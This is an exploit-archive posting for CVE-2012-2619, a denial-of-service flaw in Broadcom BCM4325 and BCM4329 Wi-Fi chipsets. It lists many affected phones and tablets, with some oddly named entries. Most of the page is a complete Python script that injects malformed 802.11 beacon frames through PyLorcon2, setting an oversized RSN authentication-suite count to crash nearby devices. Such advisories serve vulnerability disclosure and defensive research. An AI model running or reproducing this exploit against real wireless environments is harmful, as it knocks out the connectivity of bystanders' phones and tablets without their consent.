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Broadcom BCM4325 / BCM4329 Denial Of Service

Broadcom BCM4325 / BCM4329 Denial Of Service
Posted Nov 16, 2012
Authored by Core Security Technologies | Site coresecurity.com

Broadcom models BCM4325 and BCM4329 suffer from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2012-2619
MD5 | ba7e350854a52f1309f9fd8a8f0d0c5d

Broadcom BCM4325 / BCM4329 Denial Of Service

Change Mirror Download
# Exploit Author:
CoreLabs (Core Security Technologies) fue descubierta por el
investigador argentino Andrés Blanco,
# Vendor Homepage:
# Software Link: [download link if available]
# Version: 1.0
# Tested on:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Vehículo Ford Edge
Dispositivos afectados con el chipset BCM4329:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad"

# CVE : 2012-2619
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096

# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
#part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
#Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'

sequence += 1
yield frame

if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)

iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()

generator = beaconFrameGenerator()

for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)


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